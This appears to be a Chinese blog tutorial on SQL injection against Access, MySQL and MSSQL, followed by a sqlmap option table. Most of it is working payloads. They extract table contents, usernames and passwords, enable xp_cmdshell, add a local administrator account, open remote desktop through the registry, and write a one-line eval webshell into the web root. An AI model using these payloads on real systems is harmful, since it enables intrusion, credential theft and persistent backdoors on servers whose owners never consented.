08.SQL注入-下(超详细!!!)

1、Access注入

1.1 判断是否存在注入漏洞

?id=10 and 1=1    //不报错
?id=10 and 1=2    //报错

在这里插入图片描述

1.2 判断字段数

?id=10 order by 1
...
?id=10 order by 7   //不报错
?id=10 order by 8   //报错
说明有7个字段

在这里插入图片描述

在这里插入图片描述

1.3 猜表名

?id=10 and exists(select * from administrator)   //不报错
猜测表名是administrator

在这里插入图片描述

1.4 猜字段名

?id=10 and exists(select user_name from administrator)    返回正常页面,说明administrator表中存在字段user_name
?id=10 and exists(select password from administrator)    返回正常页面,说明administrator表中存在字段password	

在这里插入图片描述

以上一般能用工具进行破解,了解即可

2、SQL注入高级查询(union select)

在前面的案例中,我们已经猜解出了表名administrator及字段名user_name,password,现在来进行高效查询获得字段内容。

?id=10 and 1=2 union select 1,2,3,4,5,6,7 from administrator     //可以发现2和3是回显点

在这里插入图片描述

?id=10 and 1=2 union select 1,user_name,password,4,5,6,7 from administrator

在这里插入图片描述

2、MySQL数据库注入

MySQL数据序在各种Web应用程序中的使用也非常广泛。与其他数据库一样,在Web应用程序编写的过程中,如果对用户提交的参数未进行过滤或过滤不严,也会导致SQL注入攻击漏洞的产生.

MySQL数据库通常与PHP网页程序搭建网站平台,各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等.由于MySQL数据库的应用时象大多足一些大型的网站企业公司,因此针对MySQL数据库的注入攻击技术的危害性也非常大

2.1 常见注入攻击

MySQL 4及之前的版本中,由于不支持子语句查询,而且当“php.ini"配置文件中的magic_quotes_gpc参数设置为“On(开启)”时,提交的变量中包含’(单引号),"(双引号),以及反斜线、and和空字符等危险的字符,都会被数据库自动转为含有反斜线的转义字符,给注入攻击带来很大的困难.由于这个特性,导致许多管理员认为MySQL比较安全。然而事实上,安全永远是相对的,漏洞与攻击威胁的存在却是绝对的。

MySQL 5版本数据库中,由于新增加了一个information_schema库,该库中存储了数据库信息内容,因此可以直接爆库、爆表、爆字段,让注入攻击变得极为简单。

2.2 MySQL4注入

MySQL4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。MySQL 4的注入攻击方法如下。

首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。

2.3 MySQL5注入

MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其使用方法通常有如下几种:
① 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
② 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
③ 通过dumpfile/outfile函数导出获取WebShell。

2.4 MySQL注入过程

① 检查注入点

and 1=1
and 1=2

② 判断字段数

1'order by 1#   //不报错
1'order by 2#   //不报错
1'order by 3#   //报错
说明有2个字段

在这里插入图片描述

③ 查看数据库版本、库名

1'union select version(),database()--+

在这里插入图片描述

④ 获取mysql所有库

1'union select 1,group_concat(schema_name) from information_schema.schemata#

在这里插入图片描述

⑤ 获取表名

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

⑥ 获取表里的字段

1'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

⑦ 获取所有字段内容

1'union select 1,group_concat(user,password) from users#

在这里插入图片描述

3、MsSQL注入

MsSQL Serve数据库在Web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合.下面介绍一下基于ASP+MsSQL环境下的注入攻击技术。
对MsSQL的注入,可采用与Access注入相同的原理和方法,但足利用MsSQL的特性,可以直接实施危害性极大的攻击,或者使用一些高级查询语句,快速得到表名和字段名等数据内容。

3.1 判断是否存在MsSQL注入

and exists(select * from sysobjects)      //页面返回正常,则说明有MsSQL注入点

3.2 注入点权限分类

1、sa权限

sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限,对服务器安全威胁是相当高的。如果数据库与Web服务器是同一个服务器,默认情况下攻击者就可以通过MsSQL自带的存储过程对整个服务器进行控制。

① 检查是否是mssql数据库

and exists(select * from sysobjects)

② 查询当前数据库系统的用户名

and system_user=0

③ 检查注入点是否为sa权限

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

④ 判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name='xp_cmdshell') 

没有的话,可以输入这条命令进行恢复

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- 

⑤ 添加账号

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'

⑥ 开3389

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

2、dbowner

当数据库连接账户为dbowner权限时,无法直接利用扩展存储执行各种系统命令,进行攻击的过程比较烦琐。
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用SQL语句创建一个临时表,插入一句话木马到临时表中。然后利用数据库备份语句,将数据库备份到Web目录并保存为ASP格式的文件,即可得到一个一句话木马后门。最后利用一句话木马客户端连接后门,得到WebShell后就可以控制整个服务器了。

① 查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

② 找出网站路径

通过报错或baidu、google查找

通过相关语句:

drop table black;create Table black(result varchar(7996) null,id int not null(identity(1,1)))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--

③ 写入一句话木马获取webshell

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--

差异备份

;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

3、public

① 获取当前网站数据库名称

and db_name()=0--

② 获取当前数据库所有表名

and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--

③ 爆表名及字段名

having 1=1--    //得出表名(admin)和字段名(id)
group by admin.id having 1=1    //接着爆出下一个字段名为name
group by admin.id,admin.name having 1=1--

4、sqlmap常见命令

常用命令解释
-r指定参数post注入 sqlmap.py -r post.txt -p 注入参数
-uget注入
–-level=LEVEL执行测试的等级(1-5,默认为1),使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer
–risk=RISK执行测试的风险(0-3,默认为1),默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
-vERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3
-p-p 后面接参数,针对单个参数注入
-threads线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10
-batch-smart智能判断测试
–mobile模拟测试手机环境站点
-m批量注入
–dbs查看数据库名
–current-user大多数数据库中可检测到数据库管理系统当前用户
–current-db当前连接数据库名
–is-dba判断当前的用户是否为管理
–users列出数据库所有所有用户
–tables -D 数据库名获取表名
–file-read /etc/password读取文件内容
–os-shell系统交互的shell
  • 21
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值